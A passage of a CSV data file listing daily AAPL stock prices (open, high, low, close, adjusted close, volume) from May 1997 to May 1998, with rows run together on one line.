-1997-05-08,0.59375,0.6116071343421936,0.5892857313156128,0.6071428656578064,0.5282755494117737,20734000.0,AAPL -1997-05-09,0.6071428656578064,0.625,0.6071428656578064,0.609375,0.5302178263664246,47093200.0,AAPL -1997-05-12,0.6160714030265808,0.6294642686843872,0.6071428656578064,0.6272321343421936,0.5457553267478943,41244000.0,AAPL -1997-05-13,0.625,0.6383928656578064,0.6071428656578064,0.6272321343421936,0.5457553267478943,49254800.0,AAPL -1997-05-14,0.6383928656578064,0.6428571343421936,0.625,0.6316964030265808,0.5496396422386169,33910800.0,AAPL -1997-05-15,0.6339285969734192,0.6428571343421936,0.625,0.6339285969734192,0.5515819191932678,24752000.0,AAPL -1997-05-16,0.625,0.6294642686843872,0.6160714030265808,0.6160714030265808,0.5360442996025085,23324000.0,AAPL -1997-05-19,0.625,0.6294642686843872,0.6071428656578064,0.6071428656578064,0.5282755494117737,13064800.0,AAPL -1997-05-20,0.6071428656578064,0.6227678656578064,0.5982142686843872,0.6160714030265808,0.5360442996025085,21207200.0,AAPL -1997-05-21,0.6116071343421936,0.6116071343421936,0.5892857313156128,0.6026785969734192,0.5243910551071167,30562000.0,AAPL -1997-05-22,0.5982142686843872,0.6026785969734192,0.5892857313156128,0.59375,0.5166224837303162,19191200.0,AAPL -1997-05-23,0.59375,0.6071428656578064,0.59375,0.6026785969734192,0.5243910551071167,16758000.0,AAPL -1997-05-27,0.5982142686843872,0.6205357313156128,0.5982142686843872,0.6160714030265808,0.5360442996025085,20521200.0,AAPL -1997-05-28,0.6205357313156128,0.625,0.6071428656578064,0.6071428656578064,0.5282755494117737,21884800.0,AAPL -1997-05-29,0.6116071343421936,0.6116071343421936,0.59375,0.59375,0.5166224837303162,27795600.0,AAPL -1997-05-30,0.5892857313156128,0.6071428656578064,0.5848214030265808,0.59375,0.5166224837303162,44332400.0,AAPL -1997-06-02,0.6071428656578064,0.6071428656578064,0.5982142686843872,0.6049107313156128,0.5263333916664124,10396400.0,AAPL -1997-06-03,0.5982142686843872,0.6049107313156128,0.59375,0.5959821343421936,0.5185646414756775,16310000.0,AAPL -1997-06-04,0.59375,0.5982142686843872,0.5892857313156128,0.59375,0.5166224837303162,20101200.0,AAPL -1997-06-05,0.59375,0.6116071343421936,0.5915178656578064,0.5959821343421936,0.5185646414756775,16153200.0,AAPL -1997-06-06,0.59375,0.5982142686843872,0.5892857313156128,0.5982142686843872,0.5205066800117493,13218800.0,AAPL -1997-06-09,0.5959821343421936,0.6049107313156128,0.59375,0.59375,0.5166224837303162,18701200.0,AAPL -1997-06-10,0.5982142686843872,0.5982142686843872,0.5736607313156128,0.5803571343421936,0.5049692988395691,34762000.0,AAPL -1997-06-11,0.5825892686843872,0.5870535969734192,0.5803571343421936,0.5825892686843872,0.50691157579422,26350800.0,AAPL -1997-06-12,0.5848214030265808,0.5848214030265808,0.5714285969734192,0.5736607313156128,0.49914273619651794,19672800.0,AAPL -1997-06-13,0.5736607313156128,0.5758928656578064,0.5625,0.5647321343421936,0.49137386679649353,33017600.0,AAPL -1997-06-16,0.5669642686843872,0.5669642686843872,0.5491071343421936,0.5535714030265808,0.4816631078720093,33502000.0,AAPL -1997-06-17,0.5558035969734192,0.5892857313156128,0.5535714030265808,0.5837053656578064,0.5078825354576111,35562800.0,AAPL -1997-06-18,0.5758928656578064,0.5803571343421936,0.5625,0.5691964030265808,0.4952583909034729,27412000.0,AAPL -1997-06-19,0.5714285969734192,0.5714285969734192,0.5602678656578064,0.5625,0.48943185806274414,30256800.0,AAPL -1997-06-20,0.5602678656578064,0.5625,0.5535714030265808,0.5558035969734192,0.4836050868034363,27546400.0,AAPL -1997-06-23,0.5535714030265808,0.5580357313156128,0.5491071343421936,0.5491071343421936,0.47777873277664185,24886400.0,AAPL -1997-06-24,0.5513392686843872,0.5558035969734192,0.5446428656578064,0.546875,0.47583654522895813,27787200.0,AAPL -1997-06-25,0.546875,0.5491071343421936,0.5357142686843872,0.5401785969734192,0.47000986337661743,49658000.0,AAPL -1997-06-26,0.5401785969734192,0.5401785969734192,0.5223214030265808,0.5245535969734192,0.4564145505428314,95496800.0,AAPL -1997-06-27,0.5245535969734192,0.5290178656578064,0.5223214030265808,0.5245535969734192,0.4564145505428314,39488400.0,AAPL -1997-06-30,0.5267857313156128,0.5267857313156128,0.5,0.5089285969734192,0.44281941652297974,42795200.0,AAPL -1997-07-01,0.4977678656578064,0.5,0.46875,0.4709821343421936,0.40980201959609985,112669200.0,AAPL -1997-07-02,0.4732142984867096,0.4776785671710968,0.4642857015132904,0.4665178656578064,0.40591755509376526,62490400.0,AAPL -1997-07-03,0.46875,0.4955357015132904,0.4642857015132904,0.4888392984867096,0.4253394901752472,46695600.0,AAPL -1997-07-07,0.4977678656578064,0.5089285969734192,0.4910714328289032,0.4933035671710968,0.4292238652706146,47868800.0,AAPL -1997-07-08,0.4955357015132904,0.5,0.4888392984867096,0.4910714328289032,0.4272817373275757,23923200.0,AAPL -1997-07-09,0.4933035671710968,0.4955357015132904,0.4866071343421936,0.4888392984867096,0.4253394901752472,35504000.0,AAPL -1997-07-10,0.4598214328289032,0.4776785671710968,0.4553571343421936,0.4732142984867096,0.4117441475391388,123127200.0,AAPL -1997-07-11,0.4776785671710968,0.5535714030265808,0.4754464328289032,0.5424107313156128,0.47195199131965637,183736000.0,AAPL -1997-07-14,0.5446428656578064,0.5580357313156128,0.53125,0.5580357313156128,0.48554739356040955,102751600.0,AAPL -1997-07-15,0.5625,0.5714285969734192,0.5580357313156128,0.5691964030265808,0.4952583909034729,104588400.0,AAPL -1997-07-16,0.5647321343421936,0.5892857313156128,0.5580357313156128,0.5870535969734192,0.5107959508895874,111563200.0,AAPL -1997-07-17,0.6071428656578064,0.6473214030265808,0.5870535969734192,0.625,0.5438131093978882,186566800.0,AAPL -1997-07-18,0.6383928656578064,0.640625,0.609375,0.6194196343421936,0.5389576554298401,79391200.0,AAPL -1997-07-21,0.6272321343421936,0.6316964030265808,0.5714285969734192,0.5770089030265808,0.5020561814308167,88729200.0,AAPL -1997-07-22,0.5848214030265808,0.5959821343421936,0.5825892686843872,0.5915178656578064,0.5146803855895996,57834000.0,AAPL -1997-07-23,0.5982142686843872,0.6026785969734192,0.5714285969734192,0.5758928656578064,0.5010849833488464,35322000.0,AAPL -1997-07-24,0.5758928656578064,0.5758928656578064,0.5580357313156128,0.5647321343421936,0.49137386679649353,33373200.0,AAPL -1997-07-25,0.5669642686843872,0.5915178656578064,0.5625,0.5803571343421936,0.5049692988395691,54490800.0,AAPL -1997-07-28,0.5870535969734192,0.5892857313156128,0.5803571343421936,0.5870535969734192,0.5107959508895874,27627600.0,AAPL -1997-07-29,0.5870535969734192,0.59375,0.5848214030265808,0.5892857313156128,0.5127379298210144,17810800.0,AAPL -1997-07-30,0.6049107313156128,0.6316964030265808,0.5982142686843872,0.6205357313156128,0.5399288535118103,93576000.0,AAPL -1997-07-31,0.6205357313156128,0.6339285969734192,0.6160714030265808,0.625,0.5438131093978882,65954000.0,AAPL -1997-08-01,0.6294642686843872,0.6852678656578064,0.6272321343421936,0.6852678656578064,0.5962522625923157,120478400.0,AAPL -1997-08-04,0.6852678656578064,0.7075892686843872,0.6852678656578064,0.7053571343421936,0.613731861114502,152829600.0,AAPL -1997-08-05,0.7120535969734192,0.7142857313156128,0.6958705186843872,0.7053571343421936,0.613731861114502,61782000.0,AAPL -1997-08-06,0.9017857313156128,0.9910714030265808,0.8928571343421936,0.9397321343421936,0.8176618218421936,1047620000.0,AAPL -1997-08-07,1.0267857313156128,1.0558035373687744,1.0133928060531616,1.0424107313156128,0.9070026874542236,938859600.0,AAPL -1997-08-08,0.9933035969734192,1.0133928060531616,0.9330357313156128,0.9575892686843872,0.8331993222236633,453541200.0,AAPL -1997-08-11,0.9397321343421936,0.9441964030265808,0.8392857313156128,0.8772321343421936,0.7632806897163391,387749600.0,AAPL -1997-08-12,0.859375,0.8660714030265808,0.78125,0.7879464030265808,0.6855931878089905,262099600.0,AAPL -1997-08-13,0.7946428656578064,0.8526785969734192,0.7299107313156128,0.84375,0.7341476678848267,300356000.0,AAPL -1997-08-14,0.84375,0.8660714030265808,0.8102678656578064,0.8214285969734192,0.7147256135940552,108612000.0,AAPL -1997-08-15,0.8258928656578064,0.8370535969734192,0.8147321343421936,0.8303571343421936,0.7224945425987244,65240000.0,AAPL -1997-08-18,0.8325892686843872,0.8482142686843872,0.8125,0.84375,0.7341476678848267,54460000.0,AAPL -1997-08-19,0.8459821343421936,0.875,0.8325892686843872,0.8727678656578064,0.7593961358070374,72290400.0,AAPL -1997-08-20,0.8727678656578064,0.8973214030265808,0.8638392686843872,0.8794642686843872,0.7652228474617004,81076800.0,AAPL -1997-08-21,0.875,0.8816964030265808,0.8526785969734192,0.8571428656578064,0.7458008527755737,64820000.0,AAPL -1997-08-22,0.8370535969734192,0.8571428656578064,0.8348214030265808,0.84375,0.7341476678848267,56907200.0,AAPL -1997-08-25,0.84375,0.8459821343421936,0.8191964030265808,0.8236607313156128,0.716667890548706,34658400.0,AAPL -1997-08-26,0.8080357313156128,0.8214285969734192,0.7901785969734192,0.7946428656578064,0.6914195418357849,56551600.0,AAPL -1997-08-27,0.7991071343421936,0.8125,0.78125,0.8102678656578064,0.7050148248672485,47658800.0,AAPL -1997-08-28,0.7901785969734192,0.8035714030265808,0.7857142686843872,0.7857142686843872,0.6836507320404053,23917600.0,AAPL -1997-08-29,0.7790178656578064,0.7857142686843872,0.7678571343421936,0.7767857313156128,0.6758819818496704,27417600.0,AAPL -1997-09-02,0.7857142686843872,0.8058035969734192,0.7834821343421936,0.7991071343421936,0.6953038573265076,46510800.0,AAPL -1997-09-03,0.7991071343421936,0.8303571343421936,0.796875,0.8035714030265808,0.6991884112358093,71033200.0,AAPL -1997-09-04,0.8058035969734192,0.8169642686843872,0.7946428656578064,0.8035714030265808,0.6991884112358093,30634800.0,AAPL -1997-09-05,0.8080357313156128,0.8169642686843872,0.7857142686843872,0.7924107313156128,0.6894772052764893,34176800.0,AAPL -1997-09-08,0.7946428656578064,0.7946428656578064,0.765625,0.7678571343421936,0.6681132912635803,43789200.0,AAPL -1997-09-09,0.7611607313156128,0.78125,0.7589285969734192,0.7790178656578064,0.6778241395950317,39757200.0,AAPL -1997-09-10,0.7767857313156128,0.8258928656578064,0.7745535969734192,0.8191964030265808,0.7127836346626282,68516000.0,AAPL -1997-09-11,0.8169642686843872,0.8214285969734192,0.7879464030265808,0.7991071343421936,0.6953038573265076,52469200.0,AAPL -1997-09-12,0.7924107313156128,0.7946428656578064,0.765625,0.7879464030265808,0.6855931878089905,28420000.0,AAPL -1997-09-15,0.78125,0.7901785969734192,0.7678571343421936,0.7678571343421936,0.6681132912635803,24228400.0,AAPL -1997-09-16,0.7879464030265808,0.7907366156578064,0.7767857313156128,0.7834821343421936,0.6817085146903992,33555200.0,AAPL -1997-09-17,0.7857142686843872,0.7857142686843872,0.7745535969734192,0.7790178656578064,0.6778241395950317,21691600.0,AAPL -1997-09-18,0.7678571343421936,0.8035714030265808,0.7678571343421936,0.796875,0.6933616995811462,42291200.0,AAPL -1997-09-19,0.7924107313156128,0.7924107313156128,0.7767857313156128,0.7834821343421936,0.6817085146903992,23732800.0,AAPL -1997-09-22,0.7901785969734192,0.8236607313156128,0.7857142686843872,0.8147321343421936,0.708899199962616,50092000.0,AAPL -1997-09-23,0.7946428656578064,0.7946428656578064,0.7745535969734192,0.7767857313156128,0.6758819818496704,50134000.0,AAPL -1997-09-24,0.7745535969734192,0.7767857313156128,0.7633928656578064,0.7678571343421936,0.6681132912635803,55608000.0,AAPL -1997-09-25,0.7611607313156128,0.7767857313156128,0.75,0.7544642686843872,0.656460165977478,55846000.0,AAPL -1997-09-26,0.7678571343421936,0.7834821343421936,0.7544642686843872,0.7611607313156128,0.6622866988182068,52080000.0,AAPL -1997-09-29,0.7745535969734192,0.7946428656578064,0.7700892686843872,0.7879464030265808,0.6855931878089905,41809600.0,AAPL -1997-09-30,0.7857142686843872,0.796875,0.7745535969734192,0.7745535969734192,0.6739397644996643,35142800.0,AAPL -1997-10-01,0.7745535969734192,0.7767857313156128,0.7633928656578064,0.7689732313156128,0.6690844893455505,32617200.0,AAPL -1997-10-02,0.765625,0.7857142686843872,0.7633928656578064,0.7834821343421936,0.6817085146903992,33852000.0,AAPL -1997-10-03,0.7857142686843872,0.7946428656578064,0.7745535969734192,0.7901785969734192,0.6875352263450623,40558000.0,AAPL -1997-10-06,0.7924107313156128,0.7946428656578064,0.7745535969734192,0.7834821343421936,0.6817085146903992,23324000.0,AAPL -1997-10-07,0.78125,0.7857142686843872,0.7790178656578064,0.7790178656578064,0.6778241395950317,27322400.0,AAPL -1997-10-08,0.7767857313156128,0.7790178656578064,0.7611607313156128,0.7678571343421936,0.6681132912635803,27210400.0,AAPL -1997-10-09,0.7589285969734192,0.8035714030265808,0.7566964030265808,0.7767857313156128,0.6758819818496704,46832800.0,AAPL -1997-10-10,0.7678571343421936,0.8125,0.7678571343421936,0.8102678656578064,0.7050148248672485,67600400.0,AAPL -1997-10-13,0.8125,0.8169642686843872,0.7924107313156128,0.8102678656578064,0.7050148248672485,39656400.0,AAPL -1997-10-14,0.8102678656578064,0.8125,0.7924107313156128,0.8102678656578064,0.7050148248672485,41454000.0,AAPL -1997-10-15,0.7901785969734192,0.8839285969734192,0.7901785969734192,0.8504464030265808,0.7399743795394897,202717200.0,AAPL -1997-10-16,0.7544642686843872,0.7879464030265808,0.7455357313156128,0.7678571343421936,0.6681132912635803,184797200.0,AAPL -1997-10-17,0.7544642686843872,0.7544642686843872,0.7098214030265808,0.71875,0.6253851056098938,109667600.0,AAPL -1997-10-20,0.71875,0.7209821343421936,0.6651785969734192,0.6674107313156128,0.5807145833969116,102958800.0,AAPL -1997-10-21,0.6741071343421936,0.6897321343421936,0.6674107313156128,0.6808035969734192,0.5923677682876587,118818000.0,AAPL -1997-10-22,0.6808035969734192,0.6875,0.6607142686843872,0.6629464030265808,0.5768303275108337,37794400.0,AAPL -1997-10-23,0.6428571343421936,0.6495535969734192,0.6339285969734192,0.6339285969734192,0.5515819191932678,46695600.0,AAPL -1997-10-24,0.6473214030265808,0.65625,0.5892857313156128,0.5915178656578064,0.5146803855895996,97059200.0,AAPL -1997-10-27,0.5982142686843872,0.6473214030265808,0.5982142686843872,0.5982142686843872,0.5205066800117493,82339600.0,AAPL -1997-10-28,0.5714285969734192,0.6607142686843872,0.5669642686843872,0.6473214030265808,0.5632350444793701,85828400.0,AAPL -1997-10-29,0.6584821343421936,0.6607142686843872,0.6160714030265808,0.625,0.5438131093978882,44396800.0,AAPL -1997-10-30,0.609375,0.6272321343421936,0.5892857313156128,0.5892857313156128,0.5127379298210144,47238800.0,AAPL -1997-10-31,0.6205357313156128,0.6205357313156128,0.59375,0.6082589030265808,0.5292466878890991,66771600.0,AAPL -1997-11-03,0.6272321343421936,0.6339285969734192,0.609375,0.6205357313156128,0.5399288535118103,31502800.0,AAPL -1997-11-04,0.6339285969734192,0.6473214030265808,0.625,0.640625,0.5574085116386414,42148400.0,AAPL -1997-11-05,0.6517857313156128,0.6651785969734192,0.6450892686843872,0.65625,0.571003794670105,96779200.0,AAPL -1997-11-06,0.6741071343421936,0.6964285969734192,0.6741071343421936,0.6785714030265808,0.5904255509376526,154271600.0,AAPL -1997-11-07,0.6741071343421936,0.7142857313156128,0.6696428656578064,0.7053571343421936,0.613731861114502,198903600.0,AAPL -1997-11-10,0.75,0.7678571343421936,0.6607142686843872,0.6674107313156128,0.5807145833969116,349560400.0,AAPL -1997-11-11,0.6785714030265808,0.6785714030265808,0.6473214030265808,0.65625,0.571003794670105,83120800.0,AAPL -1997-11-12,0.6450892686843872,0.6607142686843872,0.6272321343421936,0.6294642686843872,0.5476974844932556,52015600.0,AAPL -1997-11-13,0.6428571343421936,0.6450892686843872,0.625,0.6428571343421936,0.5593505501747131,64380400.0,AAPL -1997-11-14,0.6517857313156128,0.6607142686843872,0.6428571343421936,0.6584821343421936,0.572945773601532,33759600.0,AAPL -1997-11-17,0.6741071343421936,0.6763392686843872,0.6545758843421936,0.6607142686843872,0.5748880505561829,51256800.0,AAPL -1997-11-18,0.6607142686843872,0.6607142686843872,0.6450892686843872,0.6450892686843872,0.5612925887107849,36660400.0,AAPL -1997-11-19,0.6383928656578064,0.6540178656578064,0.6383928656578064,0.6517857313156128,0.5671194195747375,19896800.0,AAPL -1997-11-20,0.6495535969734192,0.6651785969734192,0.6473214030265808,0.6607142686843872,0.5748880505561829,32043200.0,AAPL -1997-11-21,0.6651785969734192,0.6674107313156128,0.6428571343421936,0.6495535969734192,0.5651770830154419,24444000.0,AAPL -1997-11-24,0.6272321343421936,0.6428571343421936,0.625,0.6294642686843872,0.5476974844932556,39337200.0,AAPL -1997-11-25,0.6316964030265808,0.6383928656578064,0.6026785969734192,0.6205357313156128,0.5399288535118103,51357600.0,AAPL -1997-11-26,0.6205357313156128,0.6316964030265808,0.6160714030265808,0.625,0.5438131093978882,15103200.0,AAPL -1997-11-28,0.6294642686843872,0.6383928656578064,0.6227678656578064,0.6339285969734192,0.5515819191932678,10329200.0,AAPL -1997-12-01,0.6316964030265808,0.640625,0.6160714030265808,0.6339285969734192,0.5515819191932678,21809200.0,AAPL -1997-12-02,0.6205357313156128,0.625,0.5669642686843872,0.5669642686843872,0.49331626296043396,99204000.0,AAPL -1997-12-03,0.5736607313156128,0.5758928656578064,0.5602678656578064,0.5625,0.48943185806274414,85764000.0,AAPL -1997-12-04,0.5714285969734192,0.5714285969734192,0.5580357313156128,0.5580357313156128,0.48554739356040955,49910000.0,AAPL -1997-12-05,0.5558035969734192,0.5714285969734192,0.5558035969734192,0.5647321343421936,0.49137386679649353,55367200.0,AAPL -1997-12-08,0.5558035969734192,0.5625,0.5491071343421936,0.5558035969734192,0.4836050868034363,33395600.0,AAPL -1997-12-09,0.5535714030265808,0.5602678656578064,0.5357142686843872,0.5446428656578064,0.473894327878952,60762800.0,AAPL -1997-12-10,0.5379464030265808,0.5379464030265808,0.5178571343421936,0.5267857313156128,0.45835670828819275,48720000.0,AAPL -1997-12-11,0.515625,0.5200892686843872,0.4955357015132904,0.5200892686843872,0.452530175447464,64234800.0,AAPL -1997-12-12,0.5267857313156128,0.53125,0.5,0.5044642686843872,0.438934862613678,40140800.0,AAPL -1997-12-15,0.5044642686843872,0.5089285969734192,0.4910714328289032,0.4977678656578064,0.4331083595752716,41473600.0,AAPL -1997-12-16,0.5,0.5133928656578064,0.5,0.5111607313156128,0.4447614550590515,46407200.0,AAPL -1997-12-17,0.5111607313156128,0.5200892686843872,0.4977678656578064,0.4977678656578064,0.4331083595752716,66323600.0,AAPL -1997-12-18,0.5,0.5,0.4910714328289032,0.4933035671710968,0.4292238652706146,50512000.0,AAPL -1997-12-19,0.484375,0.4955357015132904,0.4732142984867096,0.4888392984867096,0.4253394901752472,47653200.0,AAPL -1997-12-22,0.4955357015132904,0.5,0.4709821343421936,0.4754464328289032,0.4136864244937897,39869200.0,AAPL -1997-12-23,0.46875,0.4754464328289032,0.4620535671710968,0.4620535671710968,0.4020332396030426,114707600.0,AAPL -1997-12-24,0.4642857015132904,0.4732142984867096,0.4642857015132904,0.46875,0.4078598618507385,24458000.0,AAPL -1997-12-26,0.4665178656578064,0.4776785671710968,0.4642857015132904,0.4754464328289032,0.4136864244937897,26969600.0,AAPL -1997-12-29,0.4754464328289032,0.4799107015132904,0.4598214328289032,0.46875,0.4078598618507385,69549200.0,AAPL -1997-12-30,0.4642857015132904,0.4799107015132904,0.4553571343421936,0.4709821343421936,0.40980201959609985,85626800.0,AAPL -1997-12-31,0.46875,0.4866071343421936,0.4620535671710968,0.46875,0.4078598618507385,101589600.0,AAPL -1998-01-02,0.4866071343421936,0.5803571343421936,0.4821428656578064,0.5803571343421936,0.5049692988395691,179527600.0,AAPL -1998-01-05,0.5892857313156128,0.5915178656578064,0.5424107313156128,0.5669642686843872,0.49331626296043396,162968400.0,AAPL -1998-01-06,0.5691964030265808,0.7142857313156128,0.5267857313156128,0.6763392686843872,0.5884833931922913,453118400.0,AAPL -1998-01-07,0.671875,0.6785714030265808,0.6183035969734192,0.625,0.5438131093978882,260405600.0,AAPL -1998-01-08,0.6227678656578064,0.6651785969734192,0.6049107313156128,0.6495535969734192,0.5651770830154419,193505200.0,AAPL -1998-01-09,0.6473214030265808,0.6919642686843872,0.625,0.6495535969734192,0.5651770830154419,221636800.0,AAPL -1998-01-12,0.6227678656578064,0.6651785969734192,0.6116071343421936,0.6517857313156128,0.5671194195747375,129099600.0,AAPL -1998-01-13,0.6651785969734192,0.7008928656578064,0.6607142686843872,0.6964285969734192,0.6059631109237671,159213600.0,AAPL -1998-01-14,0.7098214030265808,0.7120535969734192,0.6875,0.7053571343421936,0.613731861114502,147316400.0,AAPL -1998-01-15,0.6852678656578064,0.7053571343421936,0.6651785969734192,0.6852678656578064,0.5962522625923157,139818000.0,AAPL -1998-01-16,0.6941964030265808,0.6941964030265808,0.6674107313156128,0.671875,0.5845991969108582,61588800.0,AAPL -1998-01-20,0.6808035969734192,0.6897321343421936,0.6651785969734192,0.6808035969734192,0.5923677682876587,60390400.0,AAPL -1998-01-21,0.6696428656578064,0.6808035969734192,0.6629464030265808,0.6752232313156128,0.5875123143196106,47552400.0,AAPL -1998-01-22,0.6674107313156128,0.7053571343421936,0.6651785969734192,0.6875,0.5981944799423218,82432000.0,AAPL -1998-01-23,0.6919642686843872,0.703125,0.6875,0.6964285969734192,0.6059631109237671,58290400.0,AAPL -1998-01-26,0.6941964030265808,0.6986607313156128,0.671875,0.6941964030265808,0.6040210723876953,36610000.0,AAPL -1998-01-27,0.6852678656578064,0.703125,0.6785714030265808,0.6830357313156128,0.5943098664283752,28058800.0,AAPL -1998-01-28,0.6852678656578064,0.6919642686843872,0.6651785969734192,0.6852678656578064,0.5962522625923157,37780400.0,AAPL -1998-01-29,0.6763392686843872,0.6830357313156128,0.6607142686843872,0.6607142686843872,0.5748880505561829,52970400.0,AAPL -1998-01-30,0.6540178656578064,0.6741071343421936,0.6517857313156128,0.6540178656578064,0.5690615177154541,40611200.0,AAPL -1998-02-02,0.6607142686843872,0.6607142686843872,0.6205357313156128,0.6316964030265808,0.5496396422386169,159185600.0,AAPL -1998-02-03,0.6316964030265808,0.6651785969734192,0.6316964030265808,0.6540178656578064,0.5690615177154541,100654400.0,AAPL -1998-02-04,0.6450892686843872,0.6607142686843872,0.6428571343421936,0.6517857313156128,0.5671194195747375,42548800.0,AAPL -1998-02-05,0.6517857313156128,0.6607142686843872,0.6428571343421936,0.6540178656578064,0.5690615177154541,59567200.0,AAPL -1998-02-06,0.65625,0.6674107313156128,0.6517857313156128,0.6607142686843872,0.5748880505561829,50584800.0,AAPL -1998-02-09,0.65625,0.6964285969734192,0.65625,0.6852678656578064,0.5962522625923157,123667600.0,AAPL -1998-02-10,0.6830357313156128,0.6986607313156128,0.6808035969734192,0.6941964030265808,0.6040210723876953,105504000.0,AAPL -1998-02-11,0.6964285969734192,0.6964285969734192,0.6741071343421936,0.6785714030265808,0.5904255509376526,52917200.0,AAPL -1998-02-12,0.6830357313156128,0.6941964030265808,0.6808035969734192,0.6919642686843872,0.6020786762237549,50937600.0,AAPL -1998-02-13,0.6852678656578064,0.7098214030265808,0.6785714030265808,0.6964285969734192,0.6059631109237671,51998800.0,AAPL -1998-02-17,0.6964285969734192,0.7053571343421936,0.6964285969734192,0.7008928656578064,0.6098475456237793,45687600.0,AAPL -1998-02-18,0.6986607313156128,0.7410714030265808,0.6986607313156128,0.734375,0.6389803886413574,123648000.0,AAPL -1998-02-19,0.7455357313156128,0.7477678656578064,0.7142857313156128,0.7299107313156128,0.63509601354599,99915200.0,AAPL -1998-02-20,0.7321428656578064,0.734375,0.7075892686843872,0.7142857313156128,0.6215008497238159,81354000.0,AAPL -1998-02-23,0.71875,0.7723214030265808,0.7142857313156128,0.7589285969734192,0.6603444814682007,119372400.0,AAPL -1998-02-24,0.7611607313156128,0.7633928656578064,0.7410714030265808,0.7611607313156128,0.6622866988182068,114147600.0,AAPL -1998-02-25,0.7611607313156128,0.8125,0.7477678656578064,0.796875,0.6933616995811462,178166800.0,AAPL -1998-02-26,0.796875,0.8415178656578064,0.78125,0.8392857313156128,0.7302632927894592,148783600.0,AAPL -1998-02-27,0.8325892686843872,0.8526785969734192,0.8058035969734192,0.84375,0.7341476678848267,129900400.0,AAPL -1998-03-02,0.8415178656578064,0.8415178656578064,0.7946428656578064,0.8125,0.7069570422172546,100111200.0,AAPL -1998-03-03,0.78125,0.828125,0.7723214030265808,0.8258928656578064,0.7186100482940674,83518400.0,AAPL -1998-03-04,0.8169642686843872,0.8839285969734192,0.8169642686843872,0.8727678656578064,0.7593961358070374,204456000.0,AAPL -1998-03-05,0.8303571343421936,0.8660714030265808,0.8258928656578064,0.859375,0.7477428913116455,168781200.0,AAPL -1998-03-06,0.8526785969734192,0.875,0.8348214030265808,0.8727678656578064,0.7593961358070374,166616800.0,AAPL -1998-03-09,0.8482142686843872,0.8683035969734192,0.8035714030265808,0.8125,0.7069570422172546,143732400.0,AAPL -1998-03-10,0.8214285969734192,0.875,0.8191964030265808,0.859375,0.7477428913116455,178225600.0,AAPL -1998-03-11,0.8973214030265808,0.9352678656578064,0.8772321343421936,0.9330357313156128,0.8118351101875305,303584400.0,AAPL -1998-03-12,0.9330357313156128,0.9642857313156128,0.9129464030265808,0.9642857313156128,0.8390259742736816,186090800.0,AAPL -1998-03-13,0.9732142686843872,0.9732142686843872,0.9375,0.96875,0.8429102301597595,141540000.0,AAPL -1998-03-16,0.96875,0.9732142686843872,0.9352678656578064,0.953125,0.8293150067329407,100590000.0,AAPL -1998-03-17,0.9464285969734192,0.953125,0.9241071343421936,0.9408482313156128,0.818632960319519,102564000.0,AAPL -1998-03-18,0.9285714030265808,0.9620535969734192,0.9285714030265808,0.9620535969734192,0.8370836973190308,69249600.0,AAPL -1998-03-19,0.9598214030265808,0.9620535969734192,0.9486607313156128,0.9553571343421936,0.8312572240829468,40014800.0,AAPL -1998-03-20,0.953125,0.9598214030265808,0.9285714030265808,0.9419642686843872,0.8196040391921997,53869200.0,AAPL -1998-03-23,0.9263392686843872,0.9375,0.8794642686843872,0.9330357313156128,0.8118351101875305,103684000.0,AAPL -1998-03-24,0.9419642686843872,1.0,0.9375,1.0,0.8701008558273315,168982800.0,AAPL -1998-03-25,0.9866071343421936,0.9910714030265808,0.9419642686843872,0.9698660969734192,0.8438813090324402,96843600.0,AAPL -1998-03-26,0.9553571343421936,0.9642857313156128,0.9441964030265808,0.9486607313156128,0.8254305124282837,50741600.0,AAPL -1998-03-27,0.9508928656578064,0.9754464030265808,0.9419642686843872,0.9620535969734192,0.8370836973190308,63898800.0,AAPL -1998-03-30,0.9553571343421936,0.9821428656578064,0.9553571343421936,0.9799107313156128,0.8526212573051453,62675200.0,AAPL -1998-03-31,0.9799107313156128,0.9933035969734192,0.9732142686843872,0.9821428656578064,0.8545634746551514,66724000.0,AAPL -1998-04-01,0.9799107313156128,0.9933035969734192,0.9665178656578064,0.9821428656578064,0.8545634746551514,46720800.0,AAPL -1998-04-02,0.9754464030265808,0.9799107313156128,0.9620535969734192,0.9754464030265808,0.8487366437911987,48577200.0,AAPL -1998-04-03,0.96875,0.9732142686843872,0.9575892686843872,0.9665178656578064,0.8409680724143982,50766800.0,AAPL -1998-04-06,0.9642857313156128,0.9642857313156128,0.9352678656578064,0.9375,0.815719723701477,86898000.0,AAPL -1998-04-07,0.921875,0.9285714030265808,0.8883928656578064,0.9107142686843872,0.7924133539199829,73175200.0,AAPL -1998-04-08,0.9017857313156128,0.90625,0.8816964030265808,0.8928571343421936,0.7768757343292236,56299600.0,AAPL -1998-04-09,0.8950892686843872,0.9241071343421936,0.8928571343421936,0.9151785969734192,0.7962977290153503,42576800.0,AAPL -1998-04-13,0.9151785969734192,0.953125,0.8928571343421936,0.9441964030265808,0.821546196937561,72074800.0,AAPL -1998-04-14,0.9419642686843872,0.9732142686843872,0.9419642686843872,0.9620535969734192,0.8370836973190308,81961600.0,AAPL -1998-04-15,0.9709821343421936,0.9821428656578064,0.9508928656578064,0.9799107313156128,0.8526212573051453,139378400.0,AAPL -1998-04-16,1.0446428060531616,1.0580357313156128,1.0066964626312256,1.0223214626312256,0.889522910118103,459488400.0,AAPL -1998-04-17,1.0200892686843872,1.0223214626312256,0.9888392686843872,0.9977678656578064,0.8681586980819702,148041600.0,AAPL -1998-04-20,0.9866071343421936,1.0535714626312256,0.984375,1.0357142686843872,0.9011759757995605,129444000.0,AAPL -1998-04-21,1.0379464626312256,1.0401785373687744,1.0178571939468384,1.0357142686843872,0.9011759757995605,87007200.0,AAPL -1998-04-22,1.0267857313156128,1.0357142686843872,0.9821428656578064,0.9821428656578064,0.8545634746551514,71237600.0,AAPL -1998-04-23,0.9799107313156128,1.0357142686843872,0.9709821343421936,0.9888392686843872,0.8603900074958801,118823600.0,AAPL -1998-04-24,0.9910714030265808,1.0089285373687744,0.9821428656578064,0.9977678656578064,0.8681586980819702,53886000.0,AAPL -1998-04-27,0.9553571343421936,0.9910714030265808,0.9553571343421936,0.9910714030265808,0.8623321652412415,102449200.0,AAPL -1998-04-28,0.9955357313156128,1.0,0.9375,0.9620535969734192,0.8370836973190308,59292800.0,AAPL -1998-04-29,0.9620535969734192,0.9799107313156128,0.9553571343421936,0.9642857313156128,0.8390259742736816,47384400.0,AAPL -1998-04-30,0.9776785969734192,0.9866071343421936,0.9665178656578064,0.9776785969734192,0.8506789803504944,44987600.0,AAPL -1998-05-01,0.9821428656578064,1.0089285373687744,0.9598214030265808,1.0,0.8701008558273315,46018000.0,AAPL 